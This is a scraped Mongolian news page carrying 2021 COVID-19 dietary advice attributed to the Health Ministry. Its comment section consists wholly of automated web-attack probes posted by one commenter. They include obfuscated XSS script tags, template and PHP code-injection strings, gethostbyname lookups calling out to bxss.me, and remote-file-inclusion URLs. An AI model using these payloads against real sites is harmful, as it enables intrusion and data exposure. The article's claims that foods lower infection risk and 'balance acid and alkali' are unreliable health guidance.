Д.Амарбаясгалан: Мал аж ахуйн салбарт хөрөнгө оруулалт хийх боломжийг олголоо • • Баян-Өлгий аймагт хаагдсан зам, давааг нээх ажиллагаа үргэлжилж байна • • Чуулган: Элчин сайдуудын томилгоог хаалттай хэлэлцэж байна • • Иргэд: Зайсан толгойг үхлийн тойрог болгосноор иргэдийн амьдрах эрх ашиг зөрчигдөж байна • • ЦЕГ: Өмгөөлөгч Г.Батбаярыг эрэн хайж байгаа • • Их аварга Д.Дагвадоржийн хагалгаа амжилттай болжээ • • Голын намагт машинтайгаа суусан иргэдийг эсэн мэнд аварчээ • • Цаазын ялыг сэргээхийг хүсчээ • • С.Мөнхбат: Гоё машин унаад гоё гэрт амьдардаг хэрнээ гудамж нь аюултай, байгаль нь сүйрчихсэн байна • • IDU: Монголын ардчилал нэн эгзэгтэй “саарал” түвшинд байна • •
COVID-19: Хоолны зөвлөмж
2021-01-07

 

Коронавируст халдвар (COVID-19)-ын үед дараах хоол хүнсийг байнга хэрэглэх нь дархлаа дэмжиж халдварлах эрсдэлийг бууруулна.

 

Шингэний хэрэглээ:

 

• Өдөрт 8-10 аяга халуун бүлээн ус, нимбэг, зөгийн балтай ус, цай уух

• Чихрийн агууламж ихтэй шингэн зүйлээс татгалзах

 

Өөх, тосны хэрэглээ:

 

• Олив, наранцэцэг, эрдэнэ шишийн тос түлхүү хэрэглэх

• Транс тос хэрэглэхгүй байх

 

Мах, махан бүтээгдэхүүн:

 

• Халуун шөлтэй хоол идэх

• Адуу, хонь, сонгино, сармис, хөмүүл түлхүү хэрэглэх

• Давс ихтэй даршилсан бүтээгдэхүүнээс татгалзах

• Шарсан хуурсан, хүйтэн болон түргэн хоол, пицца, чипс, хагас боловсруулсан бүтээгдэхүүнээс татгалзах

 

Жимс, хүнсний ногоо:

 

• Нимбэг, чацаргана, аньс, жүрж, нэрс, улаан лооль, зэрэг витамин B, С, E агуулсан жимс, жимсгэнэ хэрэглэж хүчил, шүлтийг тэнцвэржүүлж дархлаагаа дэмжих

Гурил, гурилан бүтээгдэхүүн:

• Бүхэл үрийн гурил, гурилан бүтээгдэхүүн хэрэглэх

• Шар будаа, гурвалжин будаа хэрэглэх

• Цагаан гурилан бүтээгдэхүүн, ялангуяа жигнэмэг, бялуу, шоколаднаас татгалзах

 

Сүүн, сүүн бүтээгдэхүүн:

 

• Халуун сүү, сүүн бүтээгдэхүүн, аарц уух

• Ааруул, ээзгий, бяслаг түлхүү хэрэглэх

 

 

Эх сурвалж: ЭМЯ

Shuud.mn
Сонин хачин
hnuXBVZl:
%0D%0A%3C%53%63%52%69%50%74%20%3E%68%78%5A%37%289589%29%3C%2F%73%43%72%69%70%54%3E
2021-01-22
hnuXBVZl:
\u003CScRiPt\hxZ7(9674)\u003C/sCripT\u003E
2021-01-22
hnuXBVZl:
2021-01-22
hnuXBVZl:
<ScRiPt >hxZ7(9860)
2021-01-22
hnuXBVZl:
9735313
2021-01-22
hnuXBVZl:
acu2359＜s1﹥s2ʺs3ʹuca2359
2021-01-22
hnuXBVZl:
acux5487��z1��z2a�bcxuca5487
2021-01-22
hnuXBVZl:
{{49249*49982}}
2021-01-22
hnuXBVZl:
@{50300*50403}
2021-01-22
hnuXBVZl:
'"
2021-01-22
hnuXBVZl:
".gethostbyname(lc("hithl"."eyemmfpfcfde7.bxss.me."))."A".chr(67).chr(hex("58")).chr(105).chr(82).chr(98).chr(78)."
2021-01-22
hnuXBVZl:
/xfs.bxss.me
2021-01-22
hnuXBVZl:
988617
2021-01-22
hnuXBVZl:
http://xfs.bxss.me
2021-01-22
hnuXBVZl:
//xfs.bxss.me
2021-01-22
hnuXBVZl:
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
2021-01-22
hnuXBVZl:
ctime sleep p0 (I30 tp1 Rp2 .
2021-01-22
hnuXBVZl:
'.gethostbyname(lc('hitjr'.'byhtuqdyf32e8.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(114).chr(85).chr(98).chr(84).'
2021-01-22
hnuXBVZl:
';print(md5(31337));$a='
2021-01-22
hnuXBVZl:
";print(md5(31337));$a="
2021-01-22
hnuXBVZl:
)
2021-01-22
hnuXBVZl:
${@print(md5(31337))}\
2021-01-22
hnuXBVZl:
'.print(md5(31337)).'
2021-01-22
hnuXBVZl:
^(#$!@#$)(()))******
2021-01-22
hnuXBVZl:
bxss.me
2021-01-22
hnuXBVZl:
;print(md5(31337));
2021-01-22
hnuXBVZl:
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
2021-01-22
hnuXBVZl:
1some_inexistent_file_with_long_name.jpg
2021-01-22
hnuXBVZl:
Http://bxss.me/t/fit.txt
2021-01-22
hnuXBVZl:
http://bxss.me/t/fit.txt?.jpg
2021-01-22